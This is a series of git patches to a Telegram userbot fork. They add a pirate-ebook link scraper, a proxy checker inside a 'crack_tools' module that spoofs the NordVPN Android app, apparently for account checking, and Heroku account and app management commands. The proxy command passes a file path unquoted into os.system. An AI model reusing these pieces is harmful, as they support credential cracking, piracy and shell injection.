From f71a38a4befaf2d6765fba3267c8e879a955e18c Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 12:44:14 +0530
Subject: [PATCH 159/838] Create books.py
---
fridaybot/modules/books.py | 73 ++++++++++++++++++++++++++++++++++++++
1 file changed, 73 insertions(+)
create mode 100644 fridaybot/modules/books.py
diff --git a/fridaybot/modules/books.py b/fridaybot/modules/books.py
new file mode 100644
index 00000000..e9a60744
--- /dev/null
+++ b/fridaybot/modules/books.py
@@ -0,0 +1,73 @@
+# Copyright (C) @chsaiujwal 2020
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program. If not, see .
+
+import requests
+import os
+import re
+import sys
+from bs4 import BeautifulSoup
+from urllib.request import Request, urlopen, urlretrieve
+from uniborg.util import friday_on_cmd
+from fridaybot import CMD_HELP
+from fridaybot.utils import admin_cmd
+
+@friday.on(admin_cmd(pattern="book (.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ input_str = event.pattern_match.group(1)
+ lool = 0
+ await event.edit("searching for the book...")
+ lin = "https://b-ok.cc/s/"
+ text = input_str
+ link = lin+text
+
+ headers = ['User-Agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0']
+ page = requests.get(link)
+ soup = BeautifulSoup(page.content, 'html.parser')
+ f = open("book.txt",'w')
+ total = soup.find(class_="totalCounter")
+ for nb in total.descendants:
+ nbx = nb.replace("(", "").replace(")", "")
+ if nbx == "0":
+ await event.edit("No Books Found with that name.")
+ else:
+
+ for tr in soup.find_all('td'):
+ for td in tr.find_all('h3'):
+ for ts in td.find_all('a'):
+ title = ts.get_text()
+ lool = lool+1
+ for ts in td.find_all('a', attrs={'href': re.compile("^/book/")}):
+ ref = (ts.get('href'))
+ link = "https://b-ok.cc" + ref
+
+ f.write("\n"+title)
+ f.write("\nBook link:- " + link+"\n\n")
+
+ f.write("By Friday.")
+ f.close()
+ caption="By Friday.\n Get Your Friday From @FRIDAYCHAT"
+
+ await borg.send_file(event.chat_id, "book.txt", caption=f"**BOOKS GATHERED SUCCESSFULLY!\n\nBY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT.**")
+ os.remove("book.txt")
+
+
+
+CMD_HELP.update(
+ {
+ "booksdl": "**Books Scraper**\
+\n\n**Syntax : **`.book `\
+\n**Usage :** Gets Instant Download Link Of Given Book."
+ }
+)
From 636f9f04ea1c3716da1d1e2137eda4bb265a5eb7 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 13:11:16 +0530
Subject: [PATCH 160/838] Update books.py
---
fridaybot/modules/books.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/fridaybot/modules/books.py b/fridaybot/modules/books.py
index e9a60744..c7372bb7 100644
--- a/fridaybot/modules/books.py
+++ b/fridaybot/modules/books.py
@@ -55,11 +55,11 @@ async def _(event):
f.write("\n"+title)
f.write("\nBook link:- " + link+"\n\n")
- f.write("By Friday.")
+ f.write("By VirtualUserbot.")
f.close()
- caption="By Friday.\n Get Your Friday From @FRIDAYCHAT"
+ caption="By VirtualUserbot.\n Get your Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot)"
- await borg.send_file(event.chat_id, "book.txt", caption=f"**BOOKS GATHERED SUCCESSFULLY!\n\nBY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT.**")
+ await borg.send_file(event.chat_id, "book.txt", caption=f"**BOOKS GATHERED SUCCESSFULLY!\n\nBY VIRTUALUSERBOT. Get your Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot).**")
os.remove("book.txt")
From ba230264670acd50782441f815e5cb57bfe7f57f Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 14:06:46 +0530
Subject: [PATCH 161/838] Hope this will work
---
fridaybot/modules/_inlinebot.py | 48 ++++++++++++++++++++++++++-------
1 file changed, 39 insertions(+), 9 deletions(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index 1a6dc94c..f56ea78d 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -5,8 +5,7 @@
import requests
from telethon import Button, custom, events, functions
-from youtubesearchpython import SearchVideos
-
+from youtubesearchpython import VideosSearch
from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST
from fridaybot.modules import inlinestats
@@ -104,7 +103,7 @@ async def on_plug_in_callback_query_handler(event):
)
async def on_plug_in_callback_query_handler(event):
if not event.query.user_id == bot.uid:
- sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.."
+ sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්."
await event.answer(sedok, cache_time=0, alert=True)
return
plugin_name = event.data_match.group(1).decode("UTF-8")
@@ -215,6 +214,7 @@ async def on_plug_in_callback_query_handler(event):
else:
reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. "
await event.answer(reply_pop_up_alert, cache_time=0, alert=True)
+
def paginate_help(page_number, loaded_modules, prefix):
number_of_rows = 8
@@ -251,10 +251,16 @@ def paginate_help(page_number, loaded_modules, prefix):
]
return pairs
-
@tgbot.on(events.InlineQuery(pattern=r"torrent (.*)"))
async def inline_id_handler(event: events.InlineQuery.Event):
builder = event.builder
+ if event.query.user_id != bot.uid:
+ resultm = builder.article(
+ title="Not Allowded",
+ text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/Inukaasith/virtualuserbot)",
+ )
+ await event.answer([resultm])
+ return
testinput = event.pattern_match.group(1)
starkisnub = urllib.parse.quote_plus(testinput)
results = []
@@ -329,12 +335,20 @@ async def inline_id_handler(event: events.InlineQuery.Event):
@tgbot.on(events.InlineQuery(pattern=r"yt (.*)"))
async def inline_id_handler(event: events.InlineQuery.Event):
builder = event.builder
+ if event.query.user_id != bot.uid:
+ resultm = builder.article(
+ title="Not Allowded",
+ text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/Inukaasith/virtualuserbot)",
+ )
+ await event.answer([resultm])
+ return
testinput = event.pattern_match.group(1)
urllib.parse.quote_plus(testinput)
results = []
- search = SearchVideos(f"{testinput}", offset=1, mode="dict", max_results=20)
+ search = VideosSearch(f"{testinput}", limit = 20)
mi = search.result()
- moi = mi["search_result"]
+ moi = mi["result"]
+ fk = 0
if search == None:
resultm = builder.article(
title="No Results Found.",
@@ -352,7 +366,9 @@ async def inline_id_handler(event: events.InlineQuery.Event):
fridayz = mio["id"]
thums = mio["channel"]
td = mio["duration"]
- tw = mio["views"]
+ kk = moi[fk]
+ tw = kk["viewCount"]["text"]
+ fk = fk+1
kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg"
okayz = f"**Title :** `{thum}` \n**Link :** `{mo}` \n**Channel :** `{thums}` \n**Views :** `{tw}` \n**Duration :** `{td}`"
hmmkek = f"Channel : {thums} \nDuration : {td} \nViews : {tw}"
@@ -371,7 +387,14 @@ async def inline_id_handler(event: events.InlineQuery.Event):
@tgbot.on(events.InlineQuery(pattern=r"jm (.*)"))
async def inline_id_handler(event: events.InlineQuery.Event):
- event.builder
+ builder = event.builder
+ if event.query.user_id != bot.uid:
+ resultm = builder.article(
+ title="Not Allowded",
+ text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)",
+ )
+ await event.answer([resultm])
+ return
testinput = event.pattern_match.group(1)
starkisnub = urllib.parse.quote_plus(testinput)
results = []
@@ -409,13 +432,20 @@ async def inline_id_handler(event: events.InlineQuery.Event):
@tgbot.on(events.InlineQuery) # pylint:disable=E0602
async def inline_handler(event):
builder = event.builder
+ if event.query.user_id != bot.uid:
+ resultm = builder.article(
+ title="Not Allowded",
+ text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)",
+ )
+ await event.answer([resultm])
+ return
query = event.text
replied_user = await tgbot.get_me()
firstname = replied_user.username
if query == None:
resulte = builder.article(
title="Usage Guide.",
- description="(C) @Inukaasith",
+ description="(C) VirtualUserbot",
text=f"**How To Use Me?** \n**Youtube :** `@{firstname} yt ` \n**Example :** `@{firstname} yt why we lose song` \n\n**Torrent :** `@{firstname} torrent ` \n**Example :** `@{firstname} torrent avengers endgame ` \n\n**JioSaavan :** `@{firstname} jm ` \n**Example :** `@{firstname} jm dilbaar`",
buttons=[
[Button.url("Contact Me", f"t.me/{firstname}")],
From 3d182f8a97d71267aea25f1a71347ef013ee7e3c Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 20:26:32 +0530
Subject: [PATCH 162/838] Update imagetools.py
---
fridaybot/modules/imagetools.py | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/fridaybot/modules/imagetools.py b/fridaybot/modules/imagetools.py
index 5d8df57b..90ad2e73 100644
--- a/fridaybot/modules/imagetools.py
+++ b/fridaybot/modules/imagetools.py
@@ -189,6 +189,8 @@ async def hmm(event):
hmmu = await event.edit("hmm... Sending him to jail...🚶")
await event.get_reply_message()
img = await convert_to_image(event, borg)
+ sed = await event.get_reply_message()
+ img = await convert_to_image(event, borg)
mon = "./resources/jail/hmm.png"
foreground = Image.open(mon).convert("RGBA")
@@ -319,9 +321,11 @@ async def img(event):
file_name = "testpb.jpg"
ok = "./starkgangz/" + file_name
await borg.send_file(event.chat_id, ok)
+ os.remove(files)
for files in (ok, img):
if files and os.path.exists(files):
os.remove(files)
+ event.delete()
# Credits To These :
# https://github.com/midnightmadwalk [TG: @MidnightMadwalk]
# https://github.com/code-rgb [TG: @DeletedUser420]
From aab40d534fd65eca21f044ce2481c0981809ddc5 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 20:29:48 +0530
Subject: [PATCH 163/838] Update crack_tools.py
---
fridaybot/modules/crack_tools.py | 44 +++++++++++++++++++++++++++++++-
1 file changed, 43 insertions(+), 1 deletion(-)
diff --git a/fridaybot/modules/crack_tools.py b/fridaybot/modules/crack_tools.py
index 6f409136..fffefa79 100644
--- a/fridaybot/modules/crack_tools.py
+++ b/fridaybot/modules/crack_tools.py
@@ -1,7 +1,14 @@
import json
import os
import requests
+from uniborg.util import friday_on_cmd
from fridaybot import CMD_HELP
+from fridaybot.utils import admin_cmd
+from sys import argv
+import urllib3
+import os
+
+
from fridaybot.utils import friday_on_cmd
data = {
"User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0",
@@ -207,7 +214,42 @@ def find_between( s, first, last ):
return s[start:end]
except ValueError:
return ""
-
+
+
+
+
+
+@friday.on(admin_cmd(pattern="proxy"))
+async def _(event):
+ if event.fwd_from:
+ return
+ await event.edit("CHECKING PROXIES... PLEASE WAIT. MAY TAKE TIME DEPENDING ON NUMBER OF PROXIES.")
+ pablo = await event.get_reply_message()
+ escobar = await borg.download_media(pablo.media, Config.TMP_DOWNLOAD_DIRECTORY)
+
+ cmd = f"python3 -m PyProxyToolkit.Console -i {escobar} -o goood.txt -t 80 -x 20 -s httpbinStrategy"
+
+ os.system(cmd)
+
+ file = open("goood.txt","r")
+ Counter = 0
+ Content = file.read()
+ CoList = Content.split("\n")
+ for i in CoList:
+ if i:
+ Counter += 1
+ file.close()
+ if Counter<=0:
+ await event.edit("Check Failed. Either Your File Has All Bad Proxies Or Your Proxy File Is Invalid.")
+ elif Counter>=1:
+ file1 = open("goood.txt", "a")
+ file1.write("\nCHECKED BY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT. ")
+ file1.close()
+ await borg.send_file(event.chat_id, "goood.txt", caption=f"**PROXIES CHECKED**\n**GOOD PROXIES: ** {Counter}\n\n**CHECKED BY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT.**")
+ os.remove(escobar)
+ os.remove("goood.txt")
+
+
CMD_HELP.update(
{
"cracking_tools": "**Cracking Tools**\
From 5a84cc806a44b4324996e4a93f8ad5abb8f0a20d Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 20:30:55 +0530
Subject: [PATCH 164/838] The Final Fucking Update
---
fridaybot/modules/heroku_help.py | 234 +++++++++++++++++++++++++++++++
1 file changed, 234 insertions(+)
create mode 100644 fridaybot/modules/heroku_help.py
diff --git a/fridaybot/modules/heroku_help.py b/fridaybot/modules/heroku_help.py
new file mode 100644
index 00000000..af435006
--- /dev/null
+++ b/fridaybot/modules/heroku_help.py
@@ -0,0 +1,234 @@
+import asyncio
+import math
+import os
+
+import heroku3
+import requests
+
+from fridaybot.function.heroku_helper import HerokuHelper
+from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd
+
+Heroku = heroku3.from_key(Var.HEROKU_API_KEY)
+heroku_api = "https://api.heroku.com"
+
+
+@friday.on(friday_on_cmd(pattern="(logs|log)"))
+@friday.on(sudo_cmd(pattern="(logs|log)", allow_sudo=True))
+async def giblog(event):
+ herokuHelper = HerokuHelper(Var.HEROKU_APP_NAME, Var.HEROKU_API_KEY)
+ logz = herokuHelper.getLog()
+ with open("logs.txt", "w") as log:
+ log.write(logz)
+ await borg.send_file(
+ event.chat_id, "logs.txt", caption=f"**Logs Of {Var.HEROKU_APP_NAME}**"
+ )
+
+
+@friday.on(friday_on_cmd(pattern="(rerun|restarts)"))
+@friday.on(sudo_cmd(pattern="(restart|restarts)", allow_sudo=True))
+async def restart_me(event):
+ herokuHelper = HerokuHelper(Var.HEROKU_APP_NAME, Var.HEROKU_API_KEY)
+ await event.edit("`App is Restarting. This is May Take Upto 10Min.`")
+ herokuHelper.restart()
+
+
+@friday.on(friday_on_cmd(pattern="usage$"))
+@friday.on(sudo_cmd(pattern="usage$", allow_sudo=True))
+async def dyno_usage(dyno):
+ """
+ Get your account Dyno Usage
+ """
+ await edit_or_reply(dyno, "`Trying To Fetch Dyno Usage....`")
+ useragent = (
+ "Mozilla/5.0 (Linux; Android 10; SM-G975F) "
+ "AppleWebKit/537.36 (KHTML, like Gecko) "
+ "Chrome/80.0.3987.149 Mobile Safari/537.36"
+ )
+ user_id = Heroku.account().id
+ headers = {
+ "User-Agent": useragent,
+ "Authorization": f"Bearer {Var.HEROKU_API_KEY}",
+ "Accept": "application/vnd.heroku+json; version=3.account-quotas",
+ }
+ path = "/accounts/" + user_id + "/actions/get-quota"
+ r = requests.get(heroku_api + path, headers=headers)
+ if r.status_code != 200:
+ return await edit_or_reply(
+ dyno, "`Error: something bad happened`\n\n" f">.`{r.reason}`\n"
+ )
+ result = r.json()
+ quota = result["account_quota"]
+ quota_used = result["quota_used"]
+
+ """ - Used - """
+ remaining_quota = quota - quota_used
+ percentage = math.floor(remaining_quota / quota * 100)
+ minutes_remaining = remaining_quota / 60
+ hours = math.floor(minutes_remaining / 60)
+ minutes = math.floor(minutes_remaining % 60)
+
+ """ - Current - """
+ App = result["apps"]
+ try:
+ App[0]["quota_used"]
+ except IndexError:
+ AppQuotaUsed = 0
+ AppPercentage = 0
+ else:
+ AppQuotaUsed = App[0]["quota_used"] / 60
+ AppPercentage = math.floor(App[0]["quota_used"] * 100 / quota)
+ AppHours = math.floor(AppQuotaUsed / 60)
+ AppMinutes = math.floor(AppQuotaUsed % 60)
+
+ await asyncio.sleep(1.5)
+
+ return await edit_or_reply(
+ dyno,
+ "**Dyno Usage Data**:\n\n"
+ f"✗ **APP NAME =>** `{Var.HEROKU_APP_NAME}` \n"
+ f"✗ **Usage in Hours And Minutes =>** `{AppHours}h` `{AppMinutes}m`"
+ f"✗ **Usage Percentage =>** [`{AppPercentage} %`]\n"
+ "\n\n"
+ "✗ **Dyno Remaining This Months 📆:**\n"
+ f"✗ `{hours}`**h** `{minutes}`**m** \n"
+ f"✗ **Percentage :-** [`{percentage}`**%**]",
+ )
+
+
+@friday.on(
+ friday_on_cmd(pattern="(set|get|del) var(?: |$)(.*)(?: |$)([\s\S]*)", outgoing=True)
+)
+@friday.on(
+ sudo_cmd(pattern="(set|get|del) var(?: |$)(.*)(?: |$)([\s\S]*)", allow_sudo=True)
+)
+async def variable(var):
+ """
+ Manage most of ConfigVars setting, set new var, get current var,
+ or delete var...
+ """
+ if Var.HEROKU_APP_NAME is not None:
+ app = Heroku.app(Var.HEROKU_APP_NAME)
+ else:
+ return await edit_or_reply(
+ var, "`[HEROKU]:" "\nPlease setup your` **HEROKU_APP_NAME**"
+ )
+ exe = var.pattern_match.group(1)
+ heroku_var = app.config()
+ if exe == "get":
+ await edit_or_reply(var, "`Getting information...`")
+ await asyncio.sleep(1.5)
+ try:
+ variable = var.pattern_match.group(2).split()[0]
+ if variable in heroku_var:
+ return await edit_or_reply(
+ var,
+ "**ConfigVars**:" f"\n\n`{variable} = {heroku_var[variable]}`\n",
+ )
+ else:
+ return await edit_or_reply(
+ var, "**ConfigVars**:" f"\n\n`Error:\n-> {variable} don't exists`"
+ )
+ except IndexError:
+ configs = prettyjson(heroku_var.to_dict(), indent=2)
+ with open("configs.json", "w") as fp:
+ fp.write(configs)
+ with open("configs.json", "r") as fp:
+ result = fp.read()
+ if len(result) >= 4096:
+ await var.client.send_file(
+ var.chat_id,
+ "configs.json",
+ reply_to=var.id,
+ caption="`Output too large, sending it as a file`",
+ )
+ else:
+ await edit_or_reply(
+ var,
+ "`[HEROKU]` ConfigVars:\n\n"
+ "================================"
+ f"\n```{result}```\n"
+ "================================",
+ )
+ os.remove("configs.json")
+ return
+ elif exe == "set":
+ await edit_or_reply(var, "`Setting information...`")
+ variable = var.pattern_match.group(2)
+ if not variable:
+ return await edit_or_reply(var, ">`.set var `")
+ value = var.pattern_match.group(3)
+ if not value:
+ variable = variable.split()[0]
+ try:
+ value = var.pattern_match.group(2).split()[1]
+ except IndexError:
+ return await edit_or_reply(var, ">`.set var `")
+ await asyncio.sleep(1.5)
+ if variable in heroku_var:
+ await edit_or_reply(
+ var, f"**{variable}** `successfully changed to` -> **{value}**"
+ )
+ else:
+ await edit_or_reply(
+ var, f"**{variable}** `successfully added with value` -> **{value}**"
+ )
+ heroku_var[variable] = value
+ elif exe == "del":
+ await edit_or_reply(var, "`Getting information to deleting variable...`")
+ try:
+ variable = var.pattern_match.group(2).split()[0]
+ except IndexError:
+ return await edit_or_reply(
+ var, "`Please specify ConfigVars you want to delete`"
+ )
+ await asyncio.sleep(1.5)
+ if variable in heroku_var:
+ await edit_or_reply(var, f"**{variable}** `successfully deleted`")
+ del heroku_var[variable]
+ else:
+ return await edit_or_reply(var, f"**{variable}** `is not exists`")
+
+
+@friday.on(friday_on_cmd(pattern="shp ?(.*)"))
+async def lel(event):
+ cpass, npass = event.pattern_match.group(1).split(" ", 1)
+ await event.edit("`Changing You Pass`")
+ accountm = Heroku.account()
+ accountm.change_password(cpass, npass)
+ await event.edit(f"`Done !, Changed You Pass to {npass}")
+
+
+@friday.on(friday_on_cmd(pattern="acolb (.*)"))
+async def sf(event):
+ hmm = event.pattern_match.group(1)
+ app = Heroku.app(Var.HEROKU_APP_NAME)
+ collaborator = app.add_collaborator(user_id_or_email=hmm, silent=0)
+ await event.edit("`Sent Invitation To Accept Your Collab`")
+
+
+@friday.on(friday_on_cmd(pattern="tfa (.*)"))
+async def l(event):
+ hmm = event.pattern_match.group(1)
+ app = Heroku.app(Var.HEROKU_APP_NAME)
+ transfer = app.create_transfer(recipient_id_or_name=hmm)
+
+
+@friday.on(friday_on_cmd(pattern="kd (.*)"))
+async def killdyno(event):
+ app = Heroku.app(Var.HEROKU_APP_NAME)
+ await event.edit("`Dyno Is Off. Manually Turn it On Later`")
+ app.kill_dyno("bash start.sh")
+
+
+def prettyjson(obj, indent=2, maxlinelength=80):
+ """Renders JSON content with indentation and line splits/concatenations to fit maxlinelength.
+ Only dicts, lists and basic types are supported"""
+
+ items, _ = getsubitems(
+ obj,
+ itemkey="",
+ islast=True,
+ maxlinelength=maxlinelength - indent,
+ indent=indent,
+ )
+ return indentitems(items, indent, level=0)
From 38420e75f126f34ed4d446ee325b7aa19b2839d3 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 20:33:06 +0530
Subject: [PATCH 165/838] Update webtools.py
From c8b4f7bd572428580302e94acd55cd873e16f717 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 20:34:09 +0530
Subject: [PATCH 166/838] Update programmer_jokes.py
---
fridaybot/modules/programmer_jokes.py | 19 ++++++++++++++++---
1 file changed, 16 insertions(+), 3 deletions(-)
diff --git a/fridaybot/modules/programmer_jokes.py b/fridaybot/modules/programmer_jokes.py
index fd6f900f..f7fa4fe2 100644
--- a/fridaybot/modules/programmer_jokes.py
+++ b/fridaybot/modules/programmer_jokes.py
@@ -11,11 +11,11 @@
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see .
-
import pyjokes
-from uniborg.util import friday_on_cmd
+from howdoi import howdoi
from fridaybot import CMD_HELP
+from fridaybot.utils import friday_on_cmd
@friday.on(friday_on_cmd(pattern=r"pjoke"))
@@ -25,10 +25,23 @@ async def hi(event):
await event.edit(pyjokes.get_joke(category="all"))
+@friday.on(friday_on_cmd(pattern="howdoi ?(.*)"))
+async def __(event):
+ query = event.pattern_match.group(1)
+ if query == None:
+ await event.edit("`Give Some Query First`")
+ return
+ output = howdoi.howdoi(query)
+ lel = f"Here is Your Answer \n{output}"
+ await event.edit(lel, parse_mode="HTML")
+
+
CMD_HELP.update(
{
"programmer_jokes": "**Programmer Jokes**\
\n\n**Syntax : **`.pjoke`\
-\n**Usage :** Get programmer jokes."
+\n**Usage :** Get programmer jokes.\
+\n\n**Syntax : **`.howdoi `\
+\n**Usage :** Gives Answers For Given Programming Questions."
}
)
From f50a2221ad3fe633f1957e20f2e4fdeae910430b Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 21:00:03 +0530
Subject: [PATCH 167/838] Update README.md
---
README.md | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/README.md b/README.md
index 467a5880..e1d69f7a 100644
--- a/README.md
+++ b/README.md
@@ -36,8 +36,8 @@
``` The Methord is also same for this. Just deploy bot from this repo ```
# String Session (Need before deploying)
-## Using Our Bot (Recommended)
-[](https://t.me/StringSessionGeneratorRobot)
+## Using the Bot (Recommended)
+[](https://t.me/stringsessionbot)
# Deploying To Heroku
From 7f5551e222109939af2d17783b97393353d6cc93 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 21:01:00 +0530
Subject: [PATCH 168/838] Update README.md
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index e1d69f7a..4122c566 100644
--- a/README.md
+++ b/README.md
@@ -36,7 +36,7 @@
``` The Methord is also same for this. Just deploy bot from this repo ```
# String Session (Need before deploying)
-## Using the Bot (Recommended)
+### Using the Bot (Recommended)
[](https://t.me/stringsessionbot)
From aadfe500c9d06c755122df87ea271815d9df87e1 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 22:16:18 +0530
Subject: [PATCH 169/838] Update README.md
---
README.md | 13 +++++++------
1 file changed, 7 insertions(+), 6 deletions(-)
diff --git a/README.md b/README.md
index 4122c566..c455348d 100644
--- a/README.md
+++ b/README.md
@@ -14,8 +14,6 @@
-
-
# Support
@@ -25,10 +23,13 @@
``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ```
-
-
-
-
+Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Generate stringsession by clicking on run.on.repl.it button below and then click on deploy to heroku . Before clicking on deploy to heroku star the repo from just below
+
+
+
+
+
+
# How to Deploy guide by Friday
From e250649a9b7e0b2caae5251c5635f88a10e818dc Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 22:19:38 +0530
Subject: [PATCH 170/838] Update README.md
---
README.md | 15 +++++++++------
1 file changed, 9 insertions(+), 6 deletions(-)
diff --git a/README.md b/README.md
index c455348d..430ed4b8 100644
--- a/README.md
+++ b/README.md
@@ -22,6 +22,8 @@
``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ```
+# Before You Go
+## AppID and API HASH
Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Generate stringsession by clicking on run.on.repl.it button below and then click on deploy to heroku . Before clicking on deploy to heroku star the repo from just below
@@ -30,14 +32,10 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from
-# How to Deploy guide by Friday
-
-``` The Methord is also same for this. Just deploy bot from this repo ```
-
-# String Session (Need before deploying)
-### Using the Bot (Recommended)
+## String Session (Need before deploying)
+#### Using the Bot (Recommended)
[](https://t.me/stringsessionbot)
@@ -48,6 +46,11 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from
``` Always try to Deploy this source. If not you will miss the future updates```
+# How to Deploy guide by Friday
+
+
+
+``` The Methord is also same for this. Just deploy bot from this repo ```
From ca3e4eda7f2452f6b2ace5add04cb21384dcc8ec Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 22:21:16 +0530
Subject: [PATCH 171/838] Update README.md
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index 430ed4b8..d13ccecd 100644
--- a/README.md
+++ b/README.md
@@ -13,7 +13,7 @@
-
+ Support
# Support
From 4b9fe7cae43b274535dc7a0a6d0e36a8b3df5437 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 22:21:50 +0530
Subject: [PATCH 172/838] Update README.md
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index d13ccecd..c801c6e8 100644
--- a/README.md
+++ b/README.md
@@ -13,7 +13,7 @@
- Support
+ Support
# Support
From a275a2d7db381b3ecd852a86c9446cf128be64a7 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 22:23:05 +0530
Subject: [PATCH 173/838] Update README.md
---
README.md | 11 +++++------
1 file changed, 5 insertions(+), 6 deletions(-)
diff --git a/README.md b/README.md
index c801c6e8..3096a69d 100644
--- a/README.md
+++ b/README.md
@@ -11,19 +11,18 @@
+``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ```
-
- Support
# Support
-``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ```
+
# Before You Go
-## AppID and API HASH
+### AppID and API HASH
Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Generate stringsession by clicking on run.on.repl.it button below and then click on deploy to heroku . Before clicking on deploy to heroku star the repo from just below
@@ -34,7 +33,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from
-## String Session (Need before deploying)
+### String Session (Need before deploying)
#### Using the Bot (Recommended)
[](https://t.me/stringsessionbot)
@@ -46,7 +45,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from
``` Always try to Deploy this source. If not you will miss the future updates```
-# How to Deploy guide by Friday
+## How to Deploy guide by Friday
From 5c2091c4ef614bde4c53ee3c412bdbeeb37d78ad Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 22:24:26 +0530
Subject: [PATCH 174/838] Update README.md
---
README.md | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/README.md b/README.md
index 3096a69d..2c009bb9 100644
--- a/README.md
+++ b/README.md
@@ -11,6 +11,7 @@
+
``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ```
# Support
@@ -22,7 +23,8 @@
# Before You Go
-### AppID and API HASH
+
+## AppID and API HASH
Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Generate stringsession by clicking on run.on.repl.it button below and then click on deploy to heroku . Before clicking on deploy to heroku star the repo from just below
@@ -33,7 +35,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from
-### String Session (Need before deploying)
+### String Session (Need before deploying)
#### Using the Bot (Recommended)
